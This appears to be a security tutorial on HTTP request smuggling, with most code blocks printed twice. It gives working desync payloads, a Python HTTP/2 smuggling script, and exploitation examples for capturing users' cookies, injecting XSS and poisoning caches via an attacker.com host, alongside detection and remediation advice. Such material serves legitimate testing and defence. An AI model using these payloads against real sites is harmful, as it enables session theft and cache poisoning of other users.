HTTP Request Smuggling
HTTP Request Smuggling exploits discrepancies in how front-end and back-end servers parse HTTP requests. By crafting ambiguous requests, attackers can "smuggle" malicious requests past security controls, poison caches, or steal other users' data.
Warning
Understanding Request Smuggling
Request smuggling occurs when front-end and back-end servers disagree on request boundaries. HTTP/1.1 uses two methods to determine where a request ends:
Content-Length
Specifies the exact number of bytes in the request body. Server reads exactly that many bytes.
Content-Length: 13 Transfer-Encoding: chunked
Body is sent in chunks, each prefixed with size. A zero-length chunk signals the end.
Transfer-Encoding: chunked Information
CL.TE Attacks
CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding.
The front-end forwards the entire body, but the back-end stops at the 0 chunk,
leaving the remainder for the next request.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDHow it works:
- Front-end reads Content-Length: 13, forwards "0\r\n\r\nSMUGGLED"
- Back-end uses Transfer-Encoding, reads until "0\r\n\r\n" (end of chunks)
- "SMUGGLED" remains in the TCP stream, prepended to the next request
- Next request becomes "SMUGGLEDGET /path HTTP/1.1..."
CL.TE Desync — Front-end uses Content-Length, Back-end uses Transfer-Encoding
TE.CL Attacks
TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length. The front-end processes all chunks, but the back-end only reads Content-Length bytes.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0How it works:
- Front-end uses Transfer-Encoding, processes chunks, forwards everything
- Back-end uses Content-Length: 3, only reads "8\r\n"
- Remaining "SMUGGLED\r\n0\r\n" becomes start of next request
TE.CL Desync — Front-end uses Transfer-Encoding, Back-end uses Content-Length
TE.TE Obfuscation
Both servers support Transfer-Encoding, but one can be tricked into not processing it using obfuscation techniques:
# TE.TE Obfuscation Techniques
# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)
# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow
# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked
# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked
# Tab character
Transfer-Encoding:\tchunked
# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identity# TE.TE Obfuscation Techniques
# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)
# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow
# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked
# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked
# Tab character
Transfer-Encoding:\tchunked
# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identityPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0HTTP/2 Request Smuggling
HTTP/2 doesn't use Content-Length or Transfer-Encoding for message framing. However, when proxies downgrade HTTP/2 to HTTP/1.1, they may reconstruct these headers, enabling new smuggling vectors.
H2.CL
Inject a Content-Length header into HTTP/2 request. After downgrade, the injected CL causes desync.
H2.TE
Inject Transfer-Encoding header. HTTP/2 should reject it, but some proxies pass it through after downgrade.
# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 doesn't use Content-Length or Transfer-Encoding headers
# But downgrade to HTTP/1.1 at the proxy can reintroduce vulnerabilities
# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence
import h2.connection
import h2.events
import socket
import ssl
def h2_cl_smuggle(host, path="/"):
"""
Send HTTP/2 request with injected Content-Length header
If front-end downgrades to HTTP/1.1, smuggling occurs
"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = socket.create_connection((host, 443))
sock = ctx.wrap_socket(sock, server_hostname=host)
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Inject Content-Length header that will be used after downgrade
headers = [
(':method', 'POST'),
(':path', path),
(':authority', host),
(':scheme', 'https'),
('content-type', 'application/x-www-form-urlencoded'),
('content-length', '0'), # Injected - ignored by H2, used after downgrade
]
# Body contains the smuggled request
body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=1"""
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
conn.send_data(stream_id, body.encode(), end_stream=True)
sock.sendall(conn.data_to_send())
# Read response
while True:
data = sock.recv(65535)
if not data:
break
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"Status: {dict(event.headers).get(':status')}")
if isinstance(event, h2.events.DataReceived):
print(f"Body: {event.data.decode()}")# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 doesn't use Content-Length or Transfer-Encoding headers
# But downgrade to HTTP/1.1 at the proxy can reintroduce vulnerabilities
# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence
import h2.connection
import h2.events
import socket
import ssl
def h2_cl_smuggle(host, path="/"):
"""
Send HTTP/2 request with injected Content-Length header
If front-end downgrades to HTTP/1.1, smuggling occurs
"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = socket.create_connection((host, 443))
sock = ctx.wrap_socket(sock, server_hostname=host)
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Inject Content-Length header that will be used after downgrade
headers = [
(':method', 'POST'),
(':path', path),
(':authority', host),
(':scheme', 'https'),
('content-type', 'application/x-www-form-urlencoded'),
('content-length', '0'), # Injected - ignored by H2, used after downgrade
]
# Body contains the smuggled request
body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=1"""
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
conn.send_data(stream_id, body.encode(), end_stream=True)
sock.sendall(conn.data_to_send())
# Read response
while True:
data = sock.recv(65535)
if not data:
break
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"Status: {dict(event.headers).get(':status')}")
if isinstance(event, h2.events.DataReceived):
print(f"Body: {event.data.decode()}")Detection Techniques
Smuggling Type Detection Flowchart
Request smuggling detection relies on timing differences. If the back-end processes a partial request and waits for more data, response times will increase.
#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys
def test_clte(url):
"""
CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
If vulnerable, back-end will wait for more chunks and timeout
"""
payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X"""
print("[*] Testing CL.TE...")
start = time.time()
try:
# Send raw request (requires socket-level control)
import socket
import ssl
host = url.replace("https://", "").replace("http://", "").split("/")[0]
port = 443 if url.startswith("https") else 80
sock = socket.create_connection((host, port), timeout=10)
if url.startswith("https"):
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
sock.sendall(request.encode())
sock.settimeout(5)
try:
response = sock.recv(4096)
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
return True
except socket.timeout:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] CL.TE not detected")
return False
def test_tecl(url):
"""
TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
"""
print("[*] Testing TE.CL...")
# Similar timing-based detection for TE.CL
# Implementation follows same pattern
pass
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
test_clte(url)
test_tecl(url)#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys
def test_clte(url):
"""
CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
If vulnerable, back-end will wait for more chunks and timeout
"""
payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X"""
print("[*] Testing CL.TE...")
start = time.time()
try:
# Send raw request (requires socket-level control)
import socket
import ssl
host = url.replace("https://", "").replace("http://", "").split("/")[0]
port = 443 if url.startswith("https") else 80
sock = socket.create_connection((host, port), timeout=10)
if url.startswith("https"):
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
sock.sendall(request.encode())
sock.settimeout(5)
try:
response = sock.recv(4096)
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
return True
except socket.timeout:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] CL.TE not detected")
return False
def test_tecl(url):
"""
TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
"""
print("[*] Testing TE.CL...")
# Similar timing-based detection for TE.CL
# Implementation follows same pattern
pass
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
test_clte(url)
test_tecl(url)Detection Methods
- Timing-based: Send ambiguous request, measure if response is delayed
- Differential responses: Send pairs of requests, check for inconsistencies
- Error-based: Look for "400 Bad Request" on second request
- Response capture: Inject request that captures the next response
Exploitation Examples
# Request Smuggling Exploitation Examples
# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10
x=
# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400
comment=
# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment
# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X
# Next user receives the XSS response
# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X
# Cache stores attacker's version of main.js# Request Smuggling Exploitation Examples
# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10
x=
# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400
comment=
# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment
# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X
# Next user receives the XSS response
# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X
# Cache stores attacker's version of main.jsSmuggling Tools
HTTP Request Smuggler (Burp)
Burp extension for automated detection and exploitation
Extensions → BApp Store → HTTP Request Smuggler smuggler
Python tool for request smuggling detection
python3 smuggler.py -u https://target.com h2csmuggler
HTTP/2 cleartext (h2c) smuggling tool
python3 h2csmuggler.py -x https://target.com Using Burp HTTP Request Smuggler
- 1. Install from BApp Store
Extensions → BApp Store → Search "HTTP Request Smuggler" → Install
- 2. Scan for vulnerabilities
- Right-click request in Proxy/Repeater
- Extensions → HTTP Request Smuggler → Smuggle probe
- 3. Interpret results
"CL.TE confirmed"= Front uses CL, back uses TE"TE.CL confirmed"= Front uses TE, back uses CL"Timeout"results may indicate partial success
- 4. Exploit with Turbo Intruder
- For confirmed vulns, craft exploitation payload
- Use Turbo Intruder for reliable delivery
- 5. Check for HTTP/2 support
- Target → Site map → Check protocol column
- Use HTTP/2 tab in Repeater for H2.CL/H2.TE tests
Practice Labs
PortSwigger Smuggling Labs
21 labs from basic CL.TE to advanced HTTP/2 smuggling
Smuggler Tool
Automated scanner with example payloads
HTTP/2 Research
PortSwigger's HTTP/2 smuggling research papers
HackerOne Reports
Real-world smuggling vulnerabilities
Testing Checklist
🔍 Prerequisites
- ☐ Identify load balancer/CDN/proxy in use
- ☐ Check if HTTP/2 is supported
- ☐ Verify connection reuse (Keep-Alive)
- ☐ Map request flow through infrastructure
⚡ Detection Tests
- ☐ Test CL.TE with timing
- ☐ Test TE.CL with timing
- ☐ Try TE.TE obfuscation variants
- ☐ Test HTTP/2 downgrade (H2.CL, H2.TE)
- ☐ Check for differential responses
💥 Exploitation
- ☐ Access restricted endpoints (/admin)
- ☐ Capture other users' requests
- ☐ Poison web cache
- ☐ Deliver reflected XSS
- ☐ Bypass WAF rules
📝 Documentation
- ☐ Record exact payload that worked
- ☐ Document infrastructure involved
- ☐ Capture timing/response evidence
- ☐ Note any impact on other users
🛡️ Remediation & Defense
Defensive Measures
Server Configuration
- • Use HTTP/2 end-to-end (eliminates CL/TE ambiguity)
- • Configure front-end and back-end to agree on request boundaries
- • Reject ambiguous requests with both Content-Length and Transfer-Encoding
- • Normalize chunked encoding before forwarding
Proxy & Load Balancer
- • Ensure the reverse proxy always uses the same parsing as the back-end
- • Disable connection reuse between front-end and back-end
- • Use unique per-request connections to back-end servers
- • Keep all proxy/server software patched and up to date
Detection
- • Monitor for requests with both CL and TE headers
- • Alert on malformed chunked encoding
- • Use WAF rules to detect smuggling patterns
- • Audit request logs for unexpected request splitting
Architecture
- • Prefer HTTP/2 or HTTP/3 throughout the entire stack
- • Minimize the number of intermediaries in the request path
- • Use the same web server software at each layer when possible
- • Implement request integrity checks between layers
CWE References: CWE-444 (HTTP Request/Response Smuggling)
Evidence Collection
Desync Proof: Two sequential requests where the second request's response contains data/headers from the smuggled (first) request — proving request boundary confusion
Timeout Behavior: Differential response times showing CL.TE vs TE.CL detection — document which desync type is present
Cache Poisoning Chain: If chained with cache — show the poisoned cache entry serving malicious content to other users
Request Hijacking: Captured request from another user appended to your smuggled prefix — showing cross-user data leakage
CVSS Range: Request smuggling (info leak): 7.5 (High) | Cross-user request hijacking: 8.6–9.1 | Cache poisoning chain: 8.0–9.8 (Critical)
False Positive Identification
- Connection reuse required: Request smuggling requires HTTP keep-alive connections through a front-end/back-end pair — if each request uses a new connection, smuggling isn't possible.
- Timeout ≠ desync: A delayed response to a smuggling probe may be normal network latency. Run multiple tests and compare with baseline. Use Burp's HTTP Request Smuggler extension for reliable detection.
- Same server, no split: If there's no reverse proxy, CDN, or load balancer in front of the application server, request smuggling via CL/TE desync is unlikely — but HTTP/2 downgrade smuggling may still work.
- Lab vs production: Smuggling exploits are highly infrastructure-dependent — behavior in staging may differ from production. Note the exact infrastructure stack tested.